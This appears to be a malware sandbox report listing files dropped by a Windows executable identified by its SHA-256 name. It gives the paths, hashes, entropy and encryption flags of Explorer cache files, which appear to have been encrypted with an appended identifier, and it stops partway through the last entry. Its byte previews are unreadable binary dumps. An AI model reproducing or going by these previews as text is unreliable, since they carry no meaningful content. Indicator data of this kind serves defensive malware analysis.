SHA-256:	2E617678E86B313FC56279808FE0C61C19D14DA629A107A4233D98D1955A8063
SHA-512:	071D4DABD3A5B9E14B10F21DF37442DCF661A5240E51AE417544C94A07E901911A229B427071AC9D77F4331319EAB37150F6F5F76E340694329E2EB1D1E5F7C9
Malicious:	true
Preview:	.....D..&.Hv?^.Z~..m....n...H..cxA..UG.]:..3.e.......z.4=J..()...d....[..wSB"...).....I.......a\...EC.G.#/..M.w.8a..d@.....S..L.[...S.u.uP........b.om0$..J....2....~D.[y.../.O.o....B_~.g.+A.}{^.G...0l.Ye9.....i.e.q ..=.0F?..`....(:....%....v...T.....l.! ..P...g.N.x...U.q.I....Ff.x.....g..]......i..3~....-...B{..pR..i..Jg....wI.A..^..a....J.....f.A..U.."kd../Z.k..[..by.\|@d....+:..0....H..a...<..\.m28.x3....^........0m...>.....v-..]w..>...4..%.I..-6....q.p..[.d...I.J...[..g.K...m.;...p.{.l.-.l.B.....l....=.~V..&...e.vI..z~:...)...A]?k....Ki..%.}.BZ..JZu.{e@...:."T.j..r(..+1$..........dF.dB!u..f.88}...L~X,...h....}...8.l....3...Y_..Tu....b\|..Z..P...F...PojS......&`.4G.X.UUm.d...l....XQ}JQIdP.K.R.Vx;.5..........iV...fV.H4.d......s...]~#..M....(.3K.........L. gxXg.4.-.1.....$.......Tl.p.P.{W..X.i'f1G.E..XI:+..{*......2(v1.&.....t.X.{H.Y...7.k...b.#U7...O.c^.s.N.\|...........L...)6. ....Q.N..#R..a5zZ.....).G.j..OO>..A}...E... .

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000002.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	87486
Entropy (8bit):	7.998006196100454
Encrypted:	true
SSDEEP:	1536:CHo6N+PzF1W26GxaZeIoOE89CL26pm0+q2QMj0fR244kx/RN0AqGVgu/Y7bIT8s:CHolR9oMOEYe24m0p2d0fAMxj0viY7bY
MD5:	F5A5E883D3140C1BCD69FE89920C5417
SHA1:	0418E32FDC7DDA535E033F7DC8BA65A416BB3CD2
SHA-256:	12B3F234A1C737BA84FE984E04DFA32F8F2DB8B4A005DF525978E7AF92F097D0
SHA-512:	2CE78A06E2BCEE08F317E84CEBFA918EC54B09AB0EFAD66AF22359E14CBA0EBD41405619F09DDA80FCDB815243B52FEA7C64996CDB7136EA3A954254E6200123
Malicious:	true
Preview:	...... j..M.H.mm....C.6!`......}{J......5....sm.r.5....`.&.W..L{.......X..[+.#.....<.S.<..e.....8.,..;U...K.&...F.g....E...n..P>_<\..s!.g,N.dZnx../y.C:<..%......g..o!.......:.'JK.B.X`.f.\|u..mWT.3.Bh;qx.m..o.. ..}y.#C}.P...../rM.T./.)......j...R/.f....4.E........#...nL=P...X.&>`......sI...Z.i$(..au.@..<5l8<.!. ......{....i.F..w.......!.....`....w.\.<I......4>.........<Q...7z.....Xb..d.EC+......'......\.s..Dt..........#..H...Y.)...8J....P5.^8.U.^..v.....B.4.g......R.l...4......;......Y2r..;.ji.)C`...0V.1..J%.......v3s......7.r......'..=M.l..}.K].....&H.....u.;.V..TyL..-Xc<..:.<.?....u.K&..q.'.?.<.vG[. .{........G.o\|.......x..>........A.p...S.....Z.m..v...$....b.w.~T.er..*6.=U....9...M..8!.Z...v...3..U(........N.AL...x..a...Z...~&.......,.R.}U..^.0.j{.0w..BB..k+...41!;t.J..?a..e..g@....O.......I.$..4mi......(...9...IB..#.k.p.B4.`p,]..jgtkd..@".......!c..g....m#...~..!N.v...V1..d.:@..-3..Af@-k.g3..Y{OD.8. D.C...D. .-..C...w..S......s}..%..f...b...-..

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog.etl

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	532814
Entropy (8bit):	5.902922469979926
Encrypted:	false
SSDEEP:	6144:f4fWAr2n/z8Tsr8+Tb5al7rx5N9cOk3jJ7SxPOloijo5LDNpIpMXwqxoE+z3e:Pr8TsZTbsl31aOk16fhXx
MD5:	E4719F7665D429096FB28B8F70DBE994
SHA1:	5BA6FBBF31A82014BF30C1EBCF80B41D5FCA30C8
SHA-256:	BA4EB1E17D7E073A69FBE3F4A7B3E8F90A835DACD65D00FED89E9A7DB3AE8F97
SHA-512:	04F33A80A3B90721B61E6C71932C3AC30566A2BFA1B6164885D9B4DB1593CBA2D831FBE651226ED92963E6C51DB1AB3E43CBDBAE8D4C6E8A1E87455404544762
Malicious:	false
Preview:	. ...., 5...0...c.@.a...8h.......7.....B..H..j...?.c...K,.Y..Do..B...isR......)......{.+\|0.(o%.K...t.P....}...3IYA#.Kr....@.V.Z\.sa.^.I.{...n...".x....g..._.....&.z.K6L-5.....lk3..4o@c..d...'.Ua..I..$T...=O...I.#..,...x.1......Oy..U.=.z.e.u..qG._.x.9..]#..}.n...A..J.-.p.4a2..?..>X..]....d .Q.B..p...p9.8..t..R..8K.b.........Sv.c........g.]._....k.kx....%.\|2..V.~.%...uX.;...<.;=..^ ..5...u.M.o.f ..J.O.`.ng.uM..[I..o.7..7...u5.%.p.}..BK...$.cU..$.B/@.^U..............\...f0..M>..a.8.I.../`.Z.w+.....C...(.@.x..7.r...1..M5.l5.A.Z.nT..3.ep;j.../.bm.'P.......I\|..\|U..`/UC....W@.......Q.h..$.gb}~`.a.<E".:+.:..7..Od.Wa..7b$@=X.."[(..x...).W.Z..eD7...!..`..0...[.2..[..(.u+DQ...D,c>)m.F......e....\|..2y....JC.....7h...+...(3do.!C>a..O//..:..}...ec.v....lmJqm..Z}.=.B.......u...C.>v....4..\|......7a\|.......$..m.X#.M.p..0/j<.N5.....fTB.y.t#@q..x.p..........x4....9.......kGL...~-..W[I..:...v.....B...y.'LM......'YmC3.sM>"....o..J..nW2..^..2pt...r....

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.991651441576647
Encrypted:	true
SSDEEP:	384:PoB4NXGvLUIeBHvL+6KgSx5gHzPlDw9stWjBPwOoqbZtys4W8xh0iiLU0ya:wB4gvIIedL295gjlOdwKes45hcnya
MD5:	B01DF6DB5342FF402D992A2AFFD69B4E
SHA1:	69906F935079571AB76D773A7A5980681AE978F5
SHA-256:	DFEF6224B029CD5DEC7D6E6B5A9B6AA494D072EE1441C14D6187C0A082F9FA8C
SHA-512:	953C6B1B0C74E5A9C292D9E9968C5B650ADA05F798E9E5FA473F50AF39607821125DF18C06A15284E65CD35C049B971619F4F4BE26F01658100C1E239D759ACB
Malicious:	true
Preview:	. .....5.E. b..._.]......fRR.x.8...L.26..>.lE...r=8.Q-....(.~....b;1..x......N\|...k..l...C..Yt.r`ZV..j...k.\......K~k........P.(..q)i...`..7a....]x..4~......Z...j.f2..`.....c~..]..CC..L..E.r-9..Y.$8....og.a...q.. ..y....\|d<.~....:BWN{. .:.&..M....5.T.&....W.....o....V=rRK..#...z..AP1o+.....p.}..z....z...}{j../\6.....B.......a....r.b.lc.E......r...73..\|s......7jb..$'.!......`..H.9..0EG.2.0.6...ko@...]..u.c.<Z,.P.Ul........(....'..W..U.....nh^......l.`....#y[+...W..w(...E..a........DS._4....}..L...+aB...v/......a`.0.1..YK.~.V....MU....q.N...=...e\..4..u*q? ..`.}!..{QN).4Z.S..q...........#.."....f..C.Ea....]........0A.A ..~..>.D.......w...P.PQVv.$rGl.6....D..[W.r\..9......E z.Kb...` >g...-epZ..{_..93.t1.'.oU....E.O,...K.../#8...H.yg+..2@.z...}.........y...................(..k..U......v.......g.....H..@u;g.........fF...[5.a..vPB.....l"..M..V.....o..0}._!Ch.._.4.,...-...5..j.....8.....6.y.C.. .W....<v$`..<....-.....j_Q.Y.....y......u..9/.;.6E.F.....yP

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.285604911500068
Encrypted:	false
SSDEEP:	6:yzsNlEszK76fstHNFndXXbTmZqsFxecNVi+V9mH6Quydp7Pebugcii96Z:osNQ6fstVeM5miYuzuydp7Prgcii9a
MD5:	F76D0ACC2933543853A794C55BD909E7
SHA1:	D9E43E40300EFB8553C7B7C4A7F61824A9CAD111
SHA-256:	35FC8AE21B4305D4E77745E35C19DAA79BD91B21F31FE861DC08ADBC9A5C5C6D
SHA-512:	2572BFADB6ABD98786944BB52EA352A5BEE4CCA71DBACA966ECC8ECD6178D8919277B620007854BC58E166A755DDC96C7432F75ED1EF98ED8F7CD4225ACAA527
Malicious:	false
Preview:	CMMM \|K...a.....A..w\|..8.).....z....pi/....$.q% .J......q@.....+.........+B ...t.!!h.p.F...3..SfgwbP......6K......1..m..cN.._.l....X...Sa6..'..T...............+A0!..<.X.. v....Ig.%..*..4..9O..S.......nbKp.Z.o.d]...G..a..as..m..s....T!.{...,. .q.av.../..N.\|....a..I.8dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.211383769061667
Encrypted:	false
SSDEEP:	6:CwAA9i6zcvv7V8UeetekOwVLbIkQGmlEhIRizGTdrGm5XwkgfYBFPebugcii96Z:eA9iecvTV8zyeklLbIkQkI98m1wkvBFO
MD5:	8ECFD9D3FBEB226FAB35FFB1546AC0D6
SHA1:	2427822045831360F563CF217FCAC5C6A5AB1C12
SHA-256:	364EC2187D91A9A6CD78CCFEB0D074A1EB6AD188868E01743B952E2E46535761
SHA-512:	406CB6C97FDC500FA67FCCD0D5980A6AEF55AEE662DE5124DD422940E7D9E1B808203BB5A2404C12BEB7C51A1CF51AF745925AE708BC86B7E2F70DF2771149F8
Malicious:	false
Preview:	CMMM ..].Ek..a.]....q.8.h'..;{...a/.(....G(.k..o....h.{....1.....ez].'4..@..x'Y.$...W..!..l.~G..)....n.y.~.......]....V.8CA..T>.7...;..M...H.....m..h........%....$....D.H?.....c."!..5GB7..68x...h.....0...u7h...G.9[.6g#.=:;Y.=.9.<.d.....1.u..EsM...).*..7B.../...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.309878531432728
Encrypted:	false
SSDEEP:	6:U3yG3E46ST6s7IF96EShtM1kedD492iJceP92F99Lfc4arFPebugcii96Z:Ui0E4D7IF96ES7MuedE2Wd92H+9JPrgX
MD5:	12C8375E508A8AA6591F8EB65FEEFA1B
SHA1:	7FF70B64B8858D6AFB8BAFD81D5570FD66AC7300
SHA-256:	EF90484546EB9883AAB3C41641354688D299196D3F1FB428172181C2680F9CB9
SHA-512:	6009DE5AFF48E64202A13D0F8C21C56EB5C3CA1CFC8D6913C8BDD04A147898E3807B19072DE3DB3D7F6EA25C2DB8E7C9C730C9A970401B9DFC69759800773EA8
Malicious:	false
Preview:	CMMM o..g.m..H.....q.....k.O...{..]\|W.4....?.......C..6?!1}>.Z=.5#...u>..w.5".ec.=lS.K.N....J$aw=..5.....c^u....\|R7X.....n@......I......b...M..V...:;pI.C..R....W.y.M..Z.A..j..g5.\|H...P.9....}..!.....c..'u..Z..........w.....Tx....f....AES........v<y....,w..7i).G$.;.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2584833865153
Encrypted:	false
SSDEEP:	6:4BBf3BE5YtQ1rYZ1tl3Ab2HXLT/iOwfEoLcqPebugcii96Z:xGt8YZhAUufEoQqPrgcii9a
MD5:	E75667AA2B45BB206DA35BE8190D3923
SHA1:	85E74180964F52CD3A3BEC1F2283833EE3066CA0
SHA-256:	852B02C4EBDDEF081D099EA5D83E0F58EFC7B3DDC47B588C997610F9726C7021
SHA-512:	B19B4B45691C3CFA51C3D487351D1668DC83C203A44AD613553CC5F7AB47D059E3C96D525523D6D5EFEE65C6B64BB20C6965C1228C7593A1625ADBAA6E665298
Malicious:	false
Preview:	CMMM ?...b.:.>._.W..U.EO........!......N....a...x.7........r..0))..G..>.K.....H......A>9..........0..L.]%a%.%.i..t%...QKgx-@Q...[..%..vaZ...?4.g..o...-+...K..4...]F.4.DJ....v.I........=.I....]....VkA....y.j.. ....H.&Z..o.G..n.m#S....?p4..a...?...>....h.r\|..\.8..G.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.285507791878096
Encrypted:	false
SSDEEP:	6:0nJap8VteJVqLbUzc+b1mHUqMtHIuKResiteTuCiV3EAdZu0cB7Pebugcii96Z:0JeJYUzcrqpFSTMBdHcB7Prgcii9a
MD5:	70F7E0007BCAFBED40BD2D872F8C6612
SHA1:	A3E1CB00F09307EF9693F0406D94CCD319C39546
SHA-256:	CA3DDF95CC7010F35E803F2E10F873CCE6081270F4A07F532F4FE793A5BCDA0D
SHA-512:	A1DE20923E3F2EFCA4CC79EC200C34CB70098BBA752165D3CFF19FBBFA6EE175AB05FA324FE6FF1EF2F36C405B2B0F5682941DFD8FC62DF1FAB6310F1DD9C086
Malicious:	false
Preview:	CMMM K..'...=....Ks....Z....6..r.:+.H.jp.Ij...........;;F....[.E...$...Q........X(.b3.a.p#...]..]...[..C.#.!*..B..%..4.L.D..'l...Q[.....e..2V.oE......Q..I........jW......NE0..j..q[..R.U<....D-z!z..........n...:?..4.>"...e........[.'.e.x......U..&F...2....c!n.hdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2143038292784745
Encrypted:	false
SSDEEP:	6:oV9jqQkJ0Gh0qy+bNheORNqBAJetSbOBKc7vava0I+sTQkPebugcii96Z:o7j/GSsbTJNqBAJASbOLvka9TTPrgciD
MD5:	D02F44CADEF1DA1A5E6F2E7B4B0CAD2C
SHA1:	096C0B38C7C520688A7A11EA8FB7AB7CCFCF435C
SHA-256:	464AB174997CEE3642196FA80F13AB1C8C78AFDCEF3996BD3756BE602FC07353
SHA-512:	A46D889A3756F76466655A8E25E14C513EE5A7FE2FE1581F5F46FF73691FC4E12C316EC51E6F877F767411D301D6BA91FB2BEAC783E8EAACB13D4DDE71A6E472
Malicious:	false
Preview:	CMMM .x_^.%]..FYL.$$.-..%....},E=.H.[Z1...M\.....~.)t@..2..BR\|..)....\|.D.9.}..'.......f.=..`(....3.CU.~(..^....C........=..F...4o....bh...(S......ioo.U,.L.....<....H.`V1..<...4(..(..g........?j~@NQ9-..#.nRf.3.e>.>...5.33...H..x.t..N.n..eO..F.x.....N......Aq.....+.K.edYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.190471234374453
Encrypted:	false
SSDEEP:	6:Wkq05txXILXMMgPSuafnSpBbiLFZeYEVlwyUcxJf1GmbwujwUfBSUzcux+XPebuS:fqaYLXMMabMLCYEVlXrLxbwup13OPrgX
MD5:	5E20E7E0DFF9334D37BF1805AFB00118
SHA1:	C47014B2109CD69522D85E44C192C943BBDCE6A3
SHA-256:	7F4725F881BE7392E610D77196B62BF1654AE2FA9911AF8BC119F689F66F3E32
SHA-512:	86FC923E53D55D6689EEB802B971A12596A0C1A534C1E0E7476908CFC04327F6E6E32B1739954B00617933E6771516A9955FCB51AEFA81E634CD7E0546C66CFE
Malicious:	false
Preview:	CMMM x.~.G._...VY......K..E..P..T...D..r.%.3..w.iN.M/S.Y>.y.Q..j.4#o.8..u.%j.:Bw...^..^...z.U.Y.>....i.P.2..v.02.us........9R..j.$9....DE-&......_.U....@.3.N./...g4 c....F.a...L.j..L..:1..t_..8.. ./....s.....H..x...;... .......MY{...Z...^!.,}...^f#.L...jf.R.X...XdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.219818266292544
Encrypted:	false
SSDEEP:	6:Oa2avnuwPFiZa4BgvIc4zLkcaF+Zhaq2u9jk0oToUEGOSOZnPebugcii96Z:dvnuaQQwJzFrraO9AZET7nPrgcii9a
MD5:	9E1C2AF354774E7B5E1E31C1C27B7088
SHA1:	B3EF9D81035B9EB04A9CDD99A4C090845198879D
SHA-256:	F0F3D2C8573492AE1E124F7DE4D407D7A0A6FAC43143971B9DA66BA5611290CE
SHA-512:	0E58E30EE4738B0293971E02FDED6B9A08C9BFC5BF48F6B904AD8857F4BB639D6977754A39C60185FD29EDC160A64E869815B7739F1533D8679E8759669ADFEE
Malicious:	false
Preview:	CMMM ..[.......j\..H).6...1~.o..~..^2-..$..3..VX.4.u!.../.....S..3.c.I.....e.....P{G..Z..uMNw .D....MR.......%.......%56......S...-.6.`.\.....1....6..e..i.I.y.Lj5(.nT.R/}.h.L...9S.9f1L.....n.vax....S._......uF..E..:.s.yR.N........v..E.i.;...a.#e.$....7k..0..h..odYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.229856333452972
Encrypted:	false
SSDEEP:	6:CbfolCVhdSgmqd9QPUXfKk+6ALJsPD/4K1k1huHF7y0+b1TkZPebugcii96Z:CbvtdQjtNDK1KuHsbdePrgcii9a
MD5:	647CC712C0F2BB7775A1FDDC9F93F649
SHA1:	6673161BF945B6B4A52C8C1F31CD9B1F628584E4
SHA-256:	00D574773A23B1AFBFE46038F2EA9130FF95022B3AC076F19040B71AAB4DDE03
SHA-512:	96BE9528EB0693C101E0EA8471C7E0C6DFF23F28A99E8CFF986E348D58C72FCDBAA071707CB365CD5553C87DE3DD899133CE2A6AB7627CFA1B1F0B990DA099B3
Malicious:	false
Preview:	CMMM 5...Xo..c2na.......p.ga.....%.i@..<w.K.X.j.C'R.R...H.....=G.'i.......(..N.~.&..8h...} ..C.O.4jy.....g0..;...X.....zt.!.Ri.~\|.L.......XN8.d...t..x...8.1....j.u.zM+o........P/.e...].dS!.WUW...ySo(!o.%..Ta.......q.cI...\.Y.w.\U...-C..8.....%....".........g.O2.V...'dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide_alternate.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.303176123945468
Encrypted:	false
SSDEEP:	6:O6/UZCd/yxb4yw9f+RRUWmhtBJUfeDTELvlrPX2SRNMPebugcii96Z:OW1/PUeWIbJUYTEgmMPrgcii9a
MD5:	91DE1E4315AFC4529550B89D923FDFDA
SHA1:	16AC34A6FBCDAAAA76D7D755D6FF63DF3B9B6C14
SHA-256:	D00A01E13387E51E4F8264CB2F24E2661B2151E8C97C19A1F984EE51D17FE22B
SHA-512:	0627AB5FF89159820AB2C26D0BAB53D56B388E124599CFCEE88EB4FFC588935E4C86CC4703B2A97B0B75D659E8CE53D58539AB0ED3A7B39722409F766CF753BB
Malicious:	false
Preview:	CMMM ...V1..J.s..e.[...n~...."^....g]..\|...I.'..4...h.d...!I.QSc......;yc..y.g..1.Jy.{u.TBG.'/.....'...8=.O.!.s6......Z..c&.l.d...Q...n5.rN.q...O.g.._......$.}.Il.WH\|jr._......&....+@MY...).Q%..+..2.(A.H...&se..@7.E.K0.Z.a.i...m.......]..QHt.Qkv..m.....K.Y.....z...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1280.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.359475406061653
Encrypted:	false
SSDEEP:	6:Jx/fbuRyBNJWLpHhI66bDU0WmSbq4yIH5qjrQMU7jvKCSsrgGzp2AwFPebugciik:3fbuUNWtOzI0WrJqHZwiErsFPrgcii9a
MD5:	8504F309770C503E639AB581E701B5E8
SHA1:	210A9813FDED0A5DCE6979AF811B157382E1AD13
SHA-256:	C5D30D41F762B31377B21EF88183A4D4A47E9706C339E5D1F7425D19FDD31C74
SHA-512:	1E05B8B6546B2FF0BB51343ACCF9DBB7BA5855B64FB6D7CAAC341710966A27BC82092DD10BD9806EE5B99092EC00E9D86FDDC3A42605FC028600D2C0C310D372
Malicious:	false
Preview:	CMMM ._.D.-Z..C.z...P.g#...XH=.&...o.h...B...GM.M.=.n..b>.N.V....E..$t.[.......O~Rk.... ..w.%.a.....q.%.b......i\..*+.{tn.^....j.......d".2.k..q..".Fd.A.....YQib........q....Q..../.4...%.6.?@.....p.f9O.....T..].9....M......B%..Z.......'......-.=8.....mqV.U../..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1920.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.297445221437294
Encrypted:	false
SSDEEP:	6:8+Q+c+uYm8FeHwIpX65QIm4OIQL+M8Gr4BvvFuO/9Om1pM+FNnsRfhEPebugciik:nZt7s6Z9tMpovdumC+FyRuPrgcii9a
MD5:	C0CC3A3A9BC22AF3E51A9500CC441FF4
SHA1:	3E614222FD2D61EB5DEACC3F148295D8F26AACC3
SHA-256:	65AD2BC5732A1C0216194DF4D3DB17D223F5C7BC9F56C7571F2C2725FB883929
SHA-512:	D68105AA1E43FFB4770CF6966ADE3EB48FD1ED7A5239BE95DCE9A99BDCC5C745CD13393ED591C953CF82CE5BA06801DEE18F697B1918C145DC729F4B9DFA130F
Malicious:	false
Preview:	CMMM .....u.j..... ..2).0.A.r.....o.aG..J..\|?.G.Ci.D......r4o}.R....d..~..J...U...z....M...........[eO.W(X)<h..}O..Q.C}.V...`.i.,....3....O8.n2.H.........H.....UhqsE.Z.....0)...P.v."e.,....,..(.....}jC...}..Om.F:...\N.0h......_,.....T.l'. h....C..q..r...^\.N..<..^dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_2560.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.306699280392433
Encrypted:	false
SSDEEP:	6:iI7BEIdh++fc2Xok1Ge8jlqzkYSLLIdbjiNbr1hsAAB/7Pebugcii96Z:Nzh++fcCokjylUkY8uehrrsD7Prgciik
MD5:	9017A195D0EAAEC4D777657BB89CBDB6
SHA1:	C098A0EBCB2E287BAFB23145425D4F216DB64440
SHA-256:	DF2B6ABF273768666537C451BC1FF074D59C94B0EFAFB1ACA09A1F6EB315ACDD
SHA-512:	0178DC89CF3F29C321F81C8388B08EB2BF3BDDBBC45D96F5BCDEB8549CF092063A129BB5F5DB9B34581DC6944784EAEE5BE39B277E3077C877535B9FDF5107C4
Malicious:	false
Preview:	CMMM gW..3(..F&)q&p,H..E..g.yu...g..A..u.I..(.\l.......@.o@n.3...n.B..UI.\|,'........x+.c.$.$.+..,..y.vS..U..S..%.g.gDD...K'.O2.h....Ja/.4.a)..t7=,..p.c../@.......F.C...r....\T...&.7.......l...}NX.9.]&.ZBW.wRP........\E.v.'}...>.*..t)z.r..@oZc...a.eI.7.....XQ"..I..... dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.7689978131255404
Encrypted:	false
SSDEEP:	3072:e9zqXcmiJ3ap+Ocn7/xggpNhD/B6omvuwscGIpdfbtT2bYwE/Ch6azbv/mYw:2l2c7/PpNJSNNpdhT2zMCQaeH
MD5:	6F3A20F221B59EEF7082456470C5A3FC
SHA1:	DDE2FAEC9AB3ED45BA6B7E5FEABC5E6DE3C4FB5D
SHA-256:	955D1DC00336A600F7DA8B434DA6B774D03E258365B8DBEBC72645293E406E62
SHA-512:	373BE085FB27FBF055B6D3397F903FF06506F716F9968A60D9E930557C9A4216A7281106FB0BAD213A4E1758D7C7DC09833CD2E4D88958BD7C094BC59E616736
Malicious:	false
Preview:	CMMM #..Ja: .19!.......ulU..4..h.[~x.i..rM.s.Z.....V$.%....JW.I.}9./W.5X....V.....J....+...}.1..@..+.m...qP.......O..4..].{.r...Li..Tbn.@\|3..6..:....3.!..P@..d$..m..k@.(...Td..v...n:.E....x.bh'...+@......t.}...J(..(X..E..KyW...,oP..2....#...C.y.)\|.:.?..E...(...+..6.m.t..O...R......jI\|........o.R..Jj...N..>k8....?....i.H....#t...d.C...<Cr.>"D...=W^.......:..w....&..q.&;..e>...!...U...4....^z...,6....'..X..o%..Y..#Q.....M.v.Tx{0.....1.g.nnl..1.f..u..\1..B8...A[9...V.g.....g...8...g...2G.....F.JH&........rz..6#M.mG[h.x.D.#\......0h.b..O.....1.<.j....D....,.....".Re..8$...Hz........>.d..&&q..s........q.....n}3.t@z7-...p(../.!......:.........}....V....._.@..Y8.0.C.l.....`..G...2....G.i...z....<ClX..\|..;.eh.~..K..\.q....o.n.+"....SM..^.....x....TC*M...3..I.+...](F..{&.z6...2Q....V...'....).=.......g. .G.....o6P...rQf..'...;,..m..:...Y....W.....k....m.....J..7..a4...(n..h.W%..JI.?..O.`.g...F8L...2.......r....#(/.t3{w`..D..c-.1.....d+

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_768.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2642243851954245
Encrypted:	false
SSDEEP:	6:FzgLtz81bUzvFoKlE9scij41izyrBn8Em/7Pebugcii96Z:RgW1b/+E9tzQP7Prgcii9a
MD5:	03F804CE8D4418E6626145BF42C278E8
SHA1:	D98BE7A455511415390CCA1E17A28F9476F455CF
SHA-256:	E55DB036366C97A2F916763E689159EB5383CDB6BB5AEE29C9251074DBC59E79
